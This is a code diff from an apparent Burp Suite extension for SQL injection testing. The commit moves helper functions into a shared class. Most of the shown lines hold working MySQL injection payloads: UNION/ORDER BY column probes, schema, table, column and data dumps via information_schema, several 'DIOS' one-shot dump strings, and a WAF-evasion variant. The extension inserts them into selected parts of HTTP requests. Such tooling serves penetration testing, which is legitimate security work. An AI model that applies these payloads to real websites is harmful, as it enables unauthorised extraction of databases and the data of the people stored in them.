@@ -46,35 +46,15 @@ public class SQL_Menu extends JMenu{
46
46
this .Create_SQL_Menu ();
47
47
}
48
48
49
- public JMenu add_MenuItem_and_listener (JMenu menu , String [] itemList ){
50
- for (int i = 0 ; i < itemList .length ; i ++){
51
- JMenuItem item = new JMenuItem (itemList [i ]);
52
- item .addActionListener (new MenuItemListener (myburp ));
53
- menu .add (item );
54
- }
55
- return menu ;
56
- }
57
-
58
49
public void Create_SQL_Menu (){
59
- for (int i =0 ; i < SQL_MenuItem .length ; i ++){
60
- JMenu menu = new JMenu (SQL_MenuItem [i ]);
61
- menu = add_MenuItem_and_listener (menu , SQL_MenuItems [i ]);
62
- if (SQL_MenuItem [i ].equals ("Basic Statements" )){
63
- this .add (new JSeparator ());
64
- this .add (menu );
65
- this .add (new JSeparator ());
66
- }else {
67
- this .add (menu );
68
- }
69
-
70
- }
50
+ Methods .Create_Main_Menu (this , SQL_MenuItem , SQL_MenuItems , new SQLMenuItemListener (myburp ));
71
51
}
72
52
}
73
53
74
- class MenuItemListener implements ActionListener {
54
+ class SQLMenuItemListener implements ActionListener {
75
55
76
56
BurpExtender myburp ;
77
- MenuItemListener (BurpExtender burp ) {
57
+ SQLMenuItemListener (BurpExtender burp ) {
78
58
myburp = burp ;
79
59
}
80
60
@@ -91,23 +71,6 @@ public void actionPerformed(ActionEvent e) {
91
71
req .setRequest (newRequest );
92
72
}
93
73
94
- public byte [] do_modify_request (byte [] request , int [] selectedIndex , String modifiedString ){
95
- byte [] modString = modifiedString .getBytes ();
96
- byte [] newRequest = new byte [request .length + modifiedString .length () - (selectedIndex [1 ]-selectedIndex [0 ])];
97
- System .arraycopy (request , 0 , newRequest , 0 , selectedIndex [0 ]);
98
- System .arraycopy (modString , 0 , newRequest , selectedIndex [0 ], modString .length );
99
- System .arraycopy (request , selectedIndex [1 ], newRequest , selectedIndex [0 ]+modString .length , request .length -selectedIndex [1 ]);
100
- return newRequest ;
101
- }
102
-
103
- public String prompt_and_validate_input (String prompt , String str ){
104
- String user_input = JOptionPane .showInputDialog (prompt , str );
105
- while (user_input .trim ().equals ("" )){
106
- user_input = JOptionPane .showInputDialog (prompt , str );
107
- }
108
- return user_input .trim ();
109
- }
110
-
111
74
public String creat_number_list (int count , String str , String str2 ){
112
75
String col = "+" ;
113
76
String tmp = "," ;
@@ -130,39 +93,39 @@ public byte[] do_sql_op(byte[] request, String selectedString, String action, in
130
93
String tmp = null ;
131
94
switch (action ){
132
95
case "Order By" :
133
- columns = prompt_and_validate_input ("Enter No. of Columns" , null );
96
+ columns = Methods . prompt_and_validate_input ("Enter No. of Columns" , null );
134
97
selectedString = "+Order+By+" + columns + "+" ;
135
98
break ;
136
99
case "Group By" :
137
- columns = prompt_and_validate_input ("Enter No of Columns" , null );
100
+ columns = Methods . prompt_and_validate_input ("Enter No of Columns" , null );
138
101
tmp = creat_number_list (Integer .valueOf (columns ), null , null );
139
102
selectedString = "+GROUP+BY" + tmp + "+" ;
140
103
break ;
141
104
case "Procedure Analyse" :
142
105
selectedString = "+PROCEDURE+ANALYSE()+" ;
143
106
break ;
144
107
case "Union Select" :
145
- columns = prompt_and_validate_input ("Enter No. of Columns" , null );
108
+ columns = Methods . prompt_and_validate_input ("Enter No. of Columns" , null );
146
109
tmp = creat_number_list (Integer .valueOf (columns ), null , null );
147
110
selectedString = "+Union+Select" + tmp + "+" ;
148
111
break ;
149
112
case "Union All Select (int)" :
150
- columns = prompt_and_validate_input ("Enter No. of Columns" , null );
113
+ columns = Methods . prompt_and_validate_input ("Enter No. of Columns" , null );
151
114
tmp = creat_number_list (Integer .valueOf (columns ), null , null );
152
115
selectedString = "+Union+ALL+Select" + tmp + "+" ;
153
116
break ;
154
117
case "Union All Select(null)" :
155
- columns = prompt_and_validate_input ("Enter No. of Columns" , null );
118
+ columns = Methods . prompt_and_validate_input ("Enter No. of Columns" , null );
156
119
tmp = creat_number_list (Integer .valueOf (columns ), "NULL" , null );
157
120
selectedString = "+Union+ALL+Select" + tmp + "+" ;
158
121
break ;
159
122
case "(INT),(INT)" :
160
- columns = prompt_and_validate_input ("Enter No. of Columns" , null );
123
+ columns = Methods . prompt_and_validate_input ("Enter No. of Columns" , null );
161
124
tmp = creat_number_list (Integer .valueOf (columns ), null , "()" );
162
125
selectedString = "+Union(Select" + tmp + ")+" ;
163
126
break ;
164
127
case "(NULL),(NULL)" :
165
- columns = prompt_and_validate_input ("Enter No. of Columns" , null );
128
+ columns = Methods . prompt_and_validate_input ("Enter No. of Columns" , null );
166
129
tmp = creat_number_list (Integer .valueOf (columns ), "NULL" , "()" );
167
130
selectedString = "+Union(Select" + tmp + ")+" ;
168
131
break ;
@@ -185,42 +148,42 @@ public byte[] do_sql_op(byte[] request, String selectedString, String action, in
185
148
selectedString = "(SELECT+(@x)+FROM+(SELECT+(@x:=0x00),(@NR_DB:=0),(SELECT+(0)+FROM+(INFORMATION_SCHEMA.SCHEMATA)+WHERE+(@x)+IN+(@x:=CONCAT(@x,LPAD(@NR_DB:=@NR_DB%2b1,2,0x30),0x20203a2020,schema_name,0x3c62723e))))x)" ;
186
149
break ;
187
150
case "Table Group Concat" :
188
- database = prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
151
+ database = Methods . prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
189
152
database = "0x" + String .format ("%x" , new BigInteger (1 , database .getBytes ()));
190
153
selectedString = "(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=" + database + ")" ;
191
154
break ;
192
155
case "Table One Shot" :
193
156
selectedString = "(SELECT+(@x)+FROM+(SELECT+(@x:=0x00),(@NR_DB:=0),(SELECT+(0)+FROM+(INFORMATION_SCHEMA.SCHEMATA)+WHERE+(@x)+IN+(@x:=CONCAT(@x,LPAD(@NR_DB:=@NR_DB%2b1,2,0x30),0x20203a2020,schema_name,0x3c62723e))))x)" ;
194
157
break ;
195
158
case "Column Group Concat" :
196
- table = prompt_and_validate_input ("Enter Table Name" , null );
159
+ table = Methods . prompt_and_validate_input ("Enter Table Name" , null );
197
160
table = "0x" + String .format ("%x" , new BigInteger (1 , table .getBytes ()));
198
161
selectedString = "(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=" + table + ")" ;
199
162
break ;
200
163
case "Column One Shot" :
201
- table = prompt_and_validate_input ("Enter Table Name" , null );
164
+ table = Methods . prompt_and_validate_input ("Enter Table Name" , null );
202
165
table = "0x" + String .format ("%x" , new BigInteger (1 , table .getBytes ()));
203
166
selectedString = "(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=" + table + ")AND(0x00)IN(@x:=concat(@x,CONCAT(LPAD(@NR:=@NR%2b1,2,0x30),0x3a20,column_name,0x3c62723e)))))x)" ;
204
167
break ;
205
168
case "Data Group Concat" :
206
- database = prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
207
- table = prompt_and_validate_input ("Enter Table Name" , null );
208
- columns = prompt_and_validate_input ("Enter Column to dump" , null ).replace (' ' , '+' );
169
+ database = Methods . prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
170
+ table = Methods . prompt_and_validate_input ("Enter Table Name" , null );
171
+ columns = Methods . prompt_and_validate_input ("Enter Column to dump" , null ).replace (' ' , '+' );
209
172
if (!database .toLowerCase ().equals ("database()" )){ table = database +"." +table ;}
210
173
selectedString = "(SELECT+GROUP_CONCAT(" + columns + "+SEPARATOR+0x3c62723e)+FROM+" + table + ")" ;
211
174
break ;
212
175
case "Data One Shot" :
213
- database = prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
214
- table = prompt_and_validate_input ("Enter Table Name" , null );
215
- columns = prompt_and_validate_input ("Enter Column to dump" , null ).replace (' ' , '+' );
176
+ database = Methods . prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
177
+ table = Methods . prompt_and_validate_input ("Enter Table Name" , null );
178
+ columns = Methods . prompt_and_validate_input ("Enter Column to dump" , null ).replace (' ' , '+' );
216
179
if (!database .toLowerCase ().equals ("database()" )){ table = database +"." +table ;}
217
180
selectedString = "(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(" + table + ")WHERE(@x)IN(@x:=CONCAT(0x20,@x," + columns + ",0x3c62723e))))x)" ;
218
181
break ;
219
182
case "DIOS by makman" :
220
183
selectedString = "+concat(0x3c64697620616c69676e3d226c65667422207374796c653d22666f6e742d66616d696c793a20436f6d69632053616e73204d53223e3c68313e44494f53204279206d616b6d616e3c2f68313e,user(),0x3c62723e,version(),@x:='',@y:='',@schname:='',@tbl:='',0x0a,if(benchmark((select+count(*)from+information_schema.schemata+where+schema_name!='information_schema'),@x:=concat(@x,0x0a0a,@y:='',(select+concat(0x3c68723e,repeat(0x2d,length(schema_name)),0x3c62723e,@schname:=schema_name,0x3c62723e,repeat(0x2d,length(schema_name)),if((select+count(*)from+information_schema.columns+where+table_schema=schema_name+and+@y:=concat(@y,0x0a,if(@tbl!=table_name,concat(0x3c62723e2d2d3e20,@tbl:=table_name,0x3a3a,(select+table_rows+from+information_schema.tables+where+table_schema=schema_name+and+table_name=@tbl+limit+1)),concat(0x2a,column_name)))),'',''),@y)from+information_schema.schemata+where+schema_name!='information_schema'+and+schema_name+>+@schname+order+by+schema_name+ASC+limit+1))),'',''),0x0a,@x)+as+makman+" ;
221
184
break ;
222
185
case "DIOS by makman v2" :
223
- database = prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
186
+ database = Methods . prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
224
187
if (!database .toLowerCase ().equals ("database()" )){ database = "0x" + String .format ("%x" , new BigInteger (1 , database .getBytes ()));}
225
188
selectedString = "(select(@x)from(select(@x:=0x00),(@nr:=0),(@tbl:=0x0),(select(0)from(information_schema.tables)where(table_schema=" + database + ")and(0x00)in(@x:=concat_ws(0x20,@x,lpad(@nr:=@nr%2b1,3,0x0b),0x2e20,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d677265656e3e203a3a3a3a3c2f666f6e743e3c666f6e7420636f6c6f723d626c75653e20207b2020436f6c756d6e73203a3a205b3c666f6e7420636f6c6f723d7265643e,(select+count(*)+from+information_schema.columns+where+table_name=@tbl),0x3c2f666f6e743e5d20207d3c2f666f6e743e,0x3c62723e))))x)" ;
226
189
break ;
@@ -249,12 +212,12 @@ public byte[] do_sql_op(byte[] request, String selectedString, String action, in
249
212
selectedString = "(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)" ;
250
213
break ;
251
214
case "DIOS by Ajkaro" :
252
- database = prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
215
+ database = Methods . prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
253
216
if (!database .toLowerCase ().equals ("database()" )){ database = "0x" + String .format ("%x" , new BigInteger (1 , database .getBytes ()));}
254
217
selectedString = "(select(@x)from(select(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(select(0)from(information_schema.columns)where(table_schema=" + database + ")and(0x00)in(@x:=Concat(@x,0x3c62723e,if((@tbl!=table_name),Concat(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e), 0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x)" ;
255
218
break ;
256
219
case "DIOS by AkDK" :
257
- database = prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
220
+ database = Methods . prompt_and_validate_input ("Enter Database Name" , "DATABASE()" );
258
221
if (!database .toLowerCase ().equals ("database()" )){ database = "0x" + String .format ("%x" , new BigInteger (1 , database .getBytes ()));}
259
222
selectedString = "concat/***/(0x223e3c2f7461626c653e3c2f6469763e3c2f613e3c666f6e7420636f6c6f723d677265656e3e3c62723e3c62723e3c62723e,0x3c666f6e7420666163653d63616d62726961207374796c653d726567756c61722073697a653d3320636f6c6f723d7265643e7e7e7e7e7e3a3a3a3a3a496e6a6563746564206279416c69204b68616e3a3a3a3a3a7e7e7e7e7e3c62723e3c666f6e7420636f6c6f723d626c75653e2056657273696f6e203a3a3a3a3a3a3a203c666f6e7420636f6c6f723d677265656e3e,version(),0x3c62723e3c666f6e7420636f6c6f723d626c75653e204461746162617365203a3a3a3a3a3a3a203c666f6e7420636f6c6f723d677265656e3e,database(),0x3c62723e3c666f6e7420636f6c6f723d626c75653e2055736572203a3a3a3a3a3a3a203c666f6e7420636f6c6f723d677265656e3e,user(),0x3c62723e3c666f6e7420636f6c6f723d7265643e205461626c657320203c2f666f6e743e203a3a3a3a3a3a3a3a3a3a3a3a203c666f6e7420636f6c6f723d677265656e3e436f6c756d6e733c2f666f6e743e3c666f6e7420636f6c6f723d626c75653e,@:=0,%28Select+count(*)from%28information_Schema.columns)where(table_schema=" + database + ")and@:=concat/**/(@,0x3c6c693e,0x3c666f6e7420636f6c6f723d7265643e,table_name,0x3c2f666f6e743e203a3a3a3a3a3a3a3a3a3a3a2020203c666f6e7420636f6c6f723d677265656e3e,column_name,0x3c2f666f6e743e)),@,0x3c62723e3c62723e3c62723e3c62723e3c62723e3c62723e3c62723e3c62723e3c62723e)" ;
260
223
break ;
@@ -295,6 +258,6 @@ public byte[] do_sql_op(byte[] request, String selectedString, String action, in
295
258
selectedString = selectedString ;
296
259
297
260
}
298
- return do_modify_request (request , selectedIndex , selectedString );
261
+ return Methods . do_modify_request (request , selectedIndex , selectedString );
299
262
}
300
263
}
0 commit comments